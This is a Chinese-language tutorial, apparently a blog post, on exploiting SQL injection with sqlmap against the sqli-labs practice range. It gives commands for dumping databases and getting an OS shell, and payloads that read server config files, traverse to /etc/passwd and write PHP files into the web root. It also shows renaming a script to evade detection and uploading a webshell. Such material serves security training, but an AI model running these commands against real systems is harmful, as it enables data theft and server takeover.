注:所有技術僅用于合法安全測試與防御研究,未經授權的攻擊行為屬違法犯罪,將承擔法律責任。
一、SQLmap常規用法
注意存放路徑:C:\Users\neo\AppData\Local\sqlmap\output
1、列出詳細過程和數據庫列表
sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch
2、指定一個數據庫獲取表名:
sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch -D security --tables
3、指定表名獲取字段名稱
sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch -D security -T users --columns
4、獲取指定數據庫下指定數據表中的所有數據
sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch -D security -T users --dump
?
#注意存放路徑:C:\Users\neo\AppData\Local\sqlmap\output\目標\dump\數據庫名稱
5、dump所有數據(不建議:提示大于3條包吃包住)
sqlmap -u http://192.168.61.248:8080/sqli-labs-master/sqli-labs-master/Less-1/?id=1 --dbs -v 3 --batch --dump
二、針對 MySQL 的 os-shell 使用方法
1. 基本命令
檢測注入點并嘗試獲取 os-shell:
sqlmap -u "http://example.com/page.php?id=1" -dbs --os-shell
指定 MySQL 注入點: 如果已知目標是 MySQL 數據庫,可以使用--dbms
參數指定,提高效率:
sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell
2. 針對 MySQL 的高級參數
指定 MySQL 配置: 如果已知 MySQL 的一些配置信息,可以直接指定以提高成功率:
sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --mysql-db=test --mysql-user=root
強制使用文件寫入方式: 如果直接執行方式失敗,可以強制 SQLMap 使用文件寫入方式:
sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --force-direct=0
指定 Web 目錄: 手動指定已知的 Web 目錄路徑:
sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --web-root="/var/www/html"
指定臨時腳本文件名: 自定義臨時 PHP 腳本文件名,避免被安全軟件檢測:
sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql --os-shell --file-name="img.php"
三、獲取 MySQL 環境 Web 目錄的方法
1. 通過 MySQL 系統變量
查詢數據目錄:
SELECT @@datadir;
該命令返回 MySQL 數據文件存儲目錄,如/var/lib/mysql/
,可結合服務器類型猜測 Web 目錄。
查詢配置文件路徑:
SELECT @@basedir;
返回 MySQL 安裝目錄,通常為/usr/local/mysql/
或C:\Program Files\MySQL\MySQL Server 5.7\
。
2. 讀取 Web 服務器配置文件
如果擁有足夠權限,可以直接讀取 Web 服務器配置文件獲取 DocumentRoot:
讀取 Apache 配置:
SELECT LOAD_FILE('/etc/httpd/conf/httpd.conf');
SELECT LOAD_FILE('/etc/apache2/apache2.conf');
讀取 Nginx 配置:
SELECT LOAD_FILE('/etc/nginx/nginx.conf');
SELECT LOAD_FILE('/usr/local/nginx/conf/nginx.conf');
Windows 系統:
SELECT LOAD_FILE('C:/Program Files/Apache Group/Apache2/conf/httpd.conf');
SELECT LOAD_FILE('C:/nginx/conf/nginx.conf');
在配置文件中搜索DocumentRoot
(Apache)或root
(Nginx)即可找到 Web 根目錄。
3. 利用錯誤信息泄露
通過構造特殊請求觸發 MySQL 錯誤,獲取路徑信息:
文件包含嘗試:
http://example.com/index.php?id=../../../../../../etc/passwd
如果應用程序直接將參數傳遞給 MySQL 查詢,可能返回包含 Web 目錄的錯誤信息:
Warning: include(../../../../../../etc/passwd) failed to open stream: No such file or directory in /var/www/html/index.php on line 20
4. 寫入探針文件
如果擁有 FILE 權限,可以寫入一個包含 PHP 信息的探針文件:
SELECT '<?php phpinfo(); ?>' INTO OUTFILE '/var/www/html/phpinfo.php';
訪問http://example.com/phpinfo.php
,在_SERVER["DOCUMENT_ROOT"]
字段可以找到 Web 根目錄。
四、OS-Shell靶場實例
來到SQLI靶場第一關
啟動sqlmap工具,先掃一下靶場的數據庫,留做記錄
python sqlmap.py -u http://bachang/sqli-labs-master/Less-1/?id=1 --dbs
在使用 sqlmap 的 --os-shell
功能時,結合 Burp Suite(簡稱 BP)抓包分析可以清晰觀察 sqlmap 與目標服務器的交互過程,理解其如何利用 SQL 注入漏洞執行系統命令。
在SQLI靶場第一關,找到傳參點,使用BP抓包
將抓到的包請求保存到文件;less-1.txt中,然后放進SQLmap工具中跑包
python sqlmap.py -r "C:\Users\User\Desktop\less-1.txt" -dbms=mysql --os-shell
獲取靶場第一關的MySQL 數據文件存儲目錄:C:\Users\ruanjian\phpstudy_pro\Extensions\MySQL5.7.26\data\
?id=-1' UNION SELECT 1,@@datadir,3 --+
通過回顯結果可以知道,靶場網站是借助小皮工具搭建的,那么第一關的Web可寫路徑就是:
C:\Users\ruanjian\phpstudy_pro\WWW\bachang
在SQLmap工具中,選擇2,手動指定自定義的 Web 可寫目錄路徑。
解決權限問題后,重啟SQLmap工具
這里獲得了兩個url,訪問第一個url, 可以看到最下方有文件上傳的位置,在這里我們可以上傳一句話木馬。。
打開蟻劍連接,測試連接成功。
總結:sqlmap --os-shell 的使用需要以下條件。
①知道網站的物理路徑。
②網站路徑具有寫入的權限。
③sqlmap能夠跑出數據庫。
注:所有技術僅用于合法安全測試與防御研究,未經授權的攻擊行為屬違法犯罪,將承擔法律責任。